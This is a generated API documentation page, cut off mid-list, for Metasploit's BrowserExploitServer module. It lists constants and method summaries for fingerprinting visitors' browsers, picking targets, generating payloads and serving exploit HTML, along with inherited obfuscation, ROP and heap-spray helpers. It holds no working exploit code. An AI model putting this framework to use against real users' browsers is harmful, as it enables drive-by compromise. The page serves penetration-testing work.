jenkins-metasploit
3323 lines
164 KiB
HTML
3323 lines
164 KiB
HTML
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<meta charset="utf-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<title>
|
||
Module: Msf::Exploit::Remote::BrowserExploitServer
|
||
|
||
— Documentation by YARD 0.9.37
|
||
|
||
</title>
|
||
|
||
<link rel="stylesheet" href="../../../css/style.css" type="text/css" />
|
||
|
||
<link rel="stylesheet" href="../../../css/common.css" type="text/css" />
|
||
|
||
<script type="text/javascript">
|
||
pathId = "Msf::Exploit::Remote::BrowserExploitServer";
|
||
relpath = '../../../';
|
||
</script>
|
||
|
||
|
||
<script type="text/javascript" charset="utf-8" src="../../../js/jquery.js"></script>
|
||
|
||
<script type="text/javascript" charset="utf-8" src="../../../js/app.js"></script>
|
||
|
||
|
||
</head>
|
||
<body>
|
||
<div class="nav_wrap">
|
||
<iframe id="nav" src="../../../class_list.html?1"></iframe>
|
||
<div id="resizer"></div>
|
||
</div>
|
||
|
||
<div id="main" tabindex="-1">
|
||
<div id="header">
|
||
<div id="menu">
|
||
|
||
<a href="../../../_index.html">Index (B)</a> »
|
||
<span class='title'><span class='object_link'><a href="../../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> » <span class='title'><span class='object_link'><a href="../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span>
|
||
»
|
||
<span class="title">BrowserExploitServer</span>
|
||
|
||
</div>
|
||
|
||
<div id="search">
|
||
|
||
<a class="full_list_link" id="class_list_link"
|
||
href="../../../class_list.html">
|
||
|
||
<svg width="24" height="24">
|
||
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
|
||
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
|
||
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
|
||
</svg>
|
||
</a>
|
||
|
||
</div>
|
||
<div class="clear"></div>
|
||
</div>
|
||
|
||
<div id="content"><h1>Module: Msf::Exploit::Remote::BrowserExploitServer
|
||
|
||
|
||
|
||
</h1>
|
||
<div class="box_info">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<dl>
|
||
<dt>Includes:</dt>
|
||
<dd><span class='object_link'><a href="../JSObfu.html" title="Msf::Exploit::JSObfu (module)">JSObfu</a></span>, <span class='object_link'><a href="BrowserProfileManager.html" title="Msf::Exploit::Remote::BrowserProfileManager (module)">BrowserProfileManager</a></span>, <span class='object_link'><a href="HttpServer/HTML.html" title="Msf::Exploit::Remote::HttpServer::HTML (module)">HttpServer::HTML</a></span>, <span class='object_link'><a href="../RopDb.html" title="Msf::Exploit::RopDb (module)">Msf::Exploit::RopDb</a></span>, <span class='object_link'><a href="../../Module/UI/Line/Verbose.html" title="Msf::Module::UI::Line::Verbose (module)">Module::UI::Line::Verbose</a></span>, <span class='object_link'><a href="../../Module/UI/Message/Verbose.html" title="Msf::Module::UI::Message::Verbose (module)">Module::UI::Message::Verbose</a></span></dd>
|
||
</dl>
|
||
|
||
|
||
|
||
|
||
<dl>
|
||
<dt>Included in:</dt>
|
||
<dd><span class='object_link'><a href="BrowserAutopwn2.html" title="Msf::Exploit::Remote::BrowserAutopwn2 (module)">BrowserAutopwn2</a></span></dd>
|
||
</dl>
|
||
|
||
|
||
|
||
<dl>
|
||
<dt>Defined in:</dt>
|
||
<dd>lib/msf/core/exploit/remote/browser_exploit_server.rb</dd>
|
||
</dl>
|
||
|
||
</div>
|
||
|
||
<h2>Defined Under Namespace</h2>
|
||
<p class="children">
|
||
|
||
|
||
|
||
|
||
<strong class="classes">Classes:</strong> <span class='object_link'><a href="BrowserExploitServer/BESException.html" title="Msf::Exploit::Remote::BrowserExploitServer::BESException (class)">BESException</a></span>
|
||
|
||
|
||
</p>
|
||
|
||
|
||
<h2>
|
||
Constant Summary
|
||
<small><a href="#" class="constants_summary_toggle">collapse</a></small>
|
||
</h2>
|
||
|
||
<dl class="constants">
|
||
|
||
<dt id="DEFAULT_COOKIE_NAME-constant" class="">DEFAULT_COOKIE_NAME =
|
||
<div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>this must be static between runs, otherwise the older cookies will be ignored</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div>
|
||
</dt>
|
||
<dd><pre class="code"><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>__ua</span><span class='tstring_end'>'</span></span></pre></dd>
|
||
|
||
<dt id="PROXY_REQUEST_HEADER_SET-constant" class="">PROXY_REQUEST_HEADER_SET =
|
||
|
||
</dt>
|
||
<dd><pre class="code"><span class='const'>Set</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='qwords_beg'>%w{</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>CLIENT_IP</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>FORWARDED</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>FORWARDED_FOR</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>FORWARDED_FOR_IP</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_CLIENT_IP</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_FORWARDED</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_FORWARDED_FOR</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_FORWARDED_FOR_IP</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_PROXY_CONNECTION</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_VIA</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_X_FORWARDED</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>HTTP_X_FORWARDED_FOR</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>VIA</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>X_FORWARDED</span><span class='words_sep'>
|
||
</span><span class='tstring_content'>X_FORWARDED_FOR</span><span class='words_sep'>
|
||
</span><span class='tstring_end'>}</span></span><span class='rparen'>)</span></pre></dd>
|
||
|
||
<dt id="REQUIREMENT_KEY_SET-constant" class="">REQUIREMENT_KEY_SET =
|
||
<div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Requirements a browser module can define in either BrowserRequirements or in targets</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div>
|
||
</dt>
|
||
<dd><pre class="code"><span class='const'>Set</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='lbracket'>[</span>
|
||
<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>source</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Return either 'script' or 'headers'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ua_name</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'MSIE'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ua_ver</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns '8.0', '9.0'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>os_name</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'Windows 7', 'Linux'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>os_device</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'iPad', 'iPhone', etc
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>os_vendor</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>os_sp</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'SP2'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>language</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'en-us'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>arch</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns 'x86'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>proxy</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Returns 'true' or 'false'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>silverlight</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Returns 'true' or 'false'
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>office</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns "2007", "2010"
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>java</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>mshtml_build</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># mshtml build. Example: Returns "65535"
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>flash</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>vuln_test</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='comment'># Example: "if(window.MyComponentIsInstalled)return true;",
|
||
</span> <span class='comment'># :activex is a special case.
|
||
</span> <span class='comment'># When you set this requirement in your module, this is how it should be:
|
||
</span> <span class='comment'># [:clsid=>'String', :method=>'String']
|
||
</span> <span class='comment'># Where each Hash is a test case
|
||
</span> <span class='comment'># But when BES receives this information, the JavaScript will return this format:
|
||
</span> <span class='comment'># "CLSID=>Method=>Boolean;"
|
||
</span> <span class='comment'># Also see: #has_bad_activex?
|
||
</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>activex</span><span class='tstring_end'>'</span></span>
|
||
<span class='rbracket'>]</span><span class='rparen'>)</span></pre></dd>
|
||
|
||
</dl>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Constants included
|
||
from <span class='object_link'><a href="HttpServer/HTML.html" title="Msf::Exploit::Remote::HttpServer::HTML (module)">HttpServer::HTML</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="HttpServer/HTML.html#UTF_16_BE-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_16_BE (constant)">HttpServer::HTML::UTF_16_BE</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_16_BE_MARKER-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_16_BE_MARKER (constant)">HttpServer::HTML::UTF_16_BE_MARKER</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_16_LE-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_16_LE (constant)">HttpServer::HTML::UTF_16_LE</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_32_BE-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_32_BE (constant)">HttpServer::HTML::UTF_32_BE</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_32_LE-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_32_LE (constant)">HttpServer::HTML::UTF_32_LE</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_7-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_7 (constant)">HttpServer::HTML::UTF_7</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_7_ALL-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_7_ALL (constant)">HttpServer::HTML::UTF_7_ALL</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_8-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_8 (constant)">HttpServer::HTML::UTF_8</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#UTF_NONE-constant" title="Msf::Exploit::Remote::HttpServer::HTML::UTF_NONE (constant)">HttpServer::HTML::UTF_NONE</a></span></p>
|
||
|
||
|
||
|
||
|
||
<h2>Instance Attribute Summary</h2>
|
||
|
||
<h3 class="inherited">Attributes included from <span class='object_link'><a href="SocketServer.html" title="Msf::Exploit::Remote::SocketServer (module)">SocketServer</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="SocketServer.html#service-instance_method" title="Msf::Exploit::Remote::SocketServer#service (method)">#service</a></span></p>
|
||
|
||
|
||
|
||
<h2>
|
||
Instance Method Summary
|
||
<small><a href="#" class="summary_toggle">collapse</a></small>
|
||
</h2>
|
||
|
||
<ul class="summary">
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#browser_profile_prefix-instance_method" title="#browser_profile_prefix (instance method)">#<strong>browser_profile_prefix</strong> ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns a prefix that’s unique to this browser exploit module.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#cleanup-instance_method" title="#cleanup (instance method)">#<strong>cleanup</strong> ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Cleans up target information owned by the current module.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#cookie_header-instance_method" title="#cookie_header (instance method)">#<strong>cookie_header</strong>(tag) ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>HTTP header string for the tracking cookie.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#cookie_name-instance_method" title="#cookie_name (instance method)">#<strong>cookie_name</strong> ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Name of the tracking cookie.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#extract_requirements-instance_method" title="#extract_requirements (instance method)">#<strong>extract_requirements</strong>(reqs) ⇒ Hash </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns a hash of recognizable requirements.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_bad_requirements-instance_method" title="#get_bad_requirements (instance method)">#<strong>get_bad_requirements</strong>(profile) ⇒ Array </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns an array of items that do not meet the requirements.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_custom_404_url-instance_method" title="#get_custom_404_url (instance method)">#<strong>get_custom_404_url</strong> ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns the custom 404 URL set by the user.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_detection_html-instance_method" title="#get_detection_html (instance method)">#<strong>get_detection_html</strong>(user_agent) ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns the code for client-side detection.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_module_resource-instance_method" title="#get_module_resource (instance method)">#<strong>get_module_resource</strong> ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns the resource (URI) to the module to allow access to on_request_exploit.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_module_uri-instance_method" title="#get_module_uri (instance method)">#<strong>get_module_uri</strong> ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns the absolute URL to the module’s resource that points to on_request_exploit.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_payload-instance_method" title="#get_payload (instance method)">#<strong>get_payload</strong>(cli, browser_info) ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Generates a target-specific payload, should be called by the module.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#get_target-instance_method" title="#get_target (instance method)">#<strong>get_target</strong> ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns the current target.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#has_bad_activex%3F-instance_method" title="#has_bad_activex? (instance method)">#<strong>has_bad_activex?</strong>(ax) ⇒ Boolean </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Returns true if there’s a bad ActiveX, otherwise false.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#has_proxy%3F-instance_method" title="#has_proxy? (instance method)">#<strong>has_proxy?</strong>(request) ⇒ Boolean </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Checks if the target is running a proxy.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#initialize-instance_method" title="#initialize (instance method)">#<strong>initialize</strong>(info = {}) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'></div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#js_vuln_test-instance_method" title="#js_vuln_test (instance method)">#<strong>js_vuln_test</strong> ⇒ String </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Custom Javascript to check if a vulnerability is present.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#load_swf_detection-instance_method" title="#load_swf_detection (instance method)">#<strong>load_swf_detection</strong> ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'></div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#on_request_exploit-instance_method" title="#on_request_exploit (instance method)">#<strong>on_request_exploit</strong>(cli, request, browser_info) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Overriding method.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#on_request_uri-instance_method" title="#on_request_uri (instance method)">#<strong>on_request_uri</strong>(cli, request) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Handles exploit stages.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#process_browser_info-instance_method" title="#process_browser_info (instance method)">#<strong>process_browser_info</strong>(source, cli, request) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Registers target information to @target_profiles.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#retrieve_tag-instance_method" title="#retrieve_tag (instance method)">#<strong>retrieve_tag</strong>(cli, request) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Retrieves a tag.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#send_exploit_html-instance_method" title="#send_exploit_html (instance method)">#<strong>send_exploit_html</strong>(cli, template, headers = {}) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Converts an ERB-based exploit template into HTML, and sends to client.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#setup-instance_method" title="#setup (instance method)">#<strong>setup</strong> ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'></div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#try_set_target-instance_method" title="#try_set_target (instance method)">#<strong>try_set_target</strong>(profile) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Sets the target automatically based on what requirements are met.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../Module/UI/Message/Verbose.html" title="Msf::Module::UI::Message::Verbose (module)">Module::UI::Message::Verbose</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="../../Module/UI/Message/Verbose.html#vprint_error-instance_method" title="Msf::Module::UI::Message::Verbose#vprint_error (method)">#vprint_error</a></span>, <span class='object_link'><a href="../../Module/UI/Message/Verbose.html#vprint_good-instance_method" title="Msf::Module::UI::Message::Verbose#vprint_good (method)">#vprint_good</a></span>, <span class='object_link'><a href="../../Module/UI/Message/Verbose.html#vprint_status-instance_method" title="Msf::Module::UI::Message::Verbose#vprint_status (method)">#vprint_status</a></span>, <span class='object_link'><a href="../../Module/UI/Message/Verbose.html#vprint_warning-instance_method" title="Msf::Module::UI::Message::Verbose#vprint_warning (method)">#vprint_warning</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../Module/UI/Line/Verbose.html" title="Msf::Module::UI::Line::Verbose (module)">Module::UI::Line::Verbose</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="../../Module/UI/Line/Verbose.html#vprint_line-instance_method" title="Msf::Module::UI::Line::Verbose#vprint_line (method)">#vprint_line</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="BrowserProfileManager.html" title="Msf::Exploit::Remote::BrowserProfileManager (module)">BrowserProfileManager</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="BrowserProfileManager.html#browser_profile-instance_method" title="Msf::Exploit::Remote::BrowserProfileManager#browser_profile (method)">#browser_profile</a></span>, <span class='object_link'><a href="BrowserProfileManager.html#clear_browser_profiles-instance_method" title="Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles (method)">#clear_browser_profiles</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="../JSObfu.html" title="Msf::Exploit::JSObfu (module)">JSObfu</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="../JSObfu.html#js_obfuscate-instance_method" title="Msf::Exploit::JSObfu#js_obfuscate (method)">#js_obfuscate</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="../RopDb.html" title="Msf::Exploit::RopDb (module)">Msf::Exploit::RopDb</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="../RopDb.html#generate_rop_payload-instance_method" title="Msf::Exploit::RopDb#generate_rop_payload (method)">#generate_rop_payload</a></span>, <span class='object_link'><a href="../RopDb.html#has_rop%3F-instance_method" title="Msf::Exploit::RopDb#has_rop? (method)">#has_rop?</a></span>, <span class='object_link'><a href="../RopDb.html#rop_junk-instance_method" title="Msf::Exploit::RopDb#rop_junk (method)">#rop_junk</a></span>, <span class='object_link'><a href="../RopDb.html#rop_nop-instance_method" title="Msf::Exploit::RopDb#rop_nop (method)">#rop_nop</a></span>, <span class='object_link'><a href="../RopDb.html#select_rop-instance_method" title="Msf::Exploit::RopDb#select_rop (method)">#select_rop</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="HttpServer/HTML.html" title="Msf::Exploit::Remote::HttpServer::HTML (module)">HttpServer::HTML</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="HttpServer/HTML.html#encrypt_js-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#encrypt_js (method)">#encrypt_js</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#heaplib-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#heaplib (method)">#heaplib</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_ajax_download-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_ajax_download (method)">#js_ajax_download</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_ajax_post-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_ajax_post (method)">#js_ajax_post</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_base64-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_base64 (method)">#js_base64</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_explib2-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_explib2 (method)">#js_explib2</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_explib2_payload-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_explib2_payload (method)">#js_explib2_payload</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_heap_spray-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_heap_spray (method)">#js_heap_spray</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_heaplib2-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_heaplib2 (method)">#js_heaplib2</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_ie_addons_detect-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_ie_addons_detect (method)">#js_ie_addons_detect</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_misc_addons_detect-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_misc_addons_detect (method)">#js_misc_addons_detect</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_mstime_malloc-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_mstime_malloc 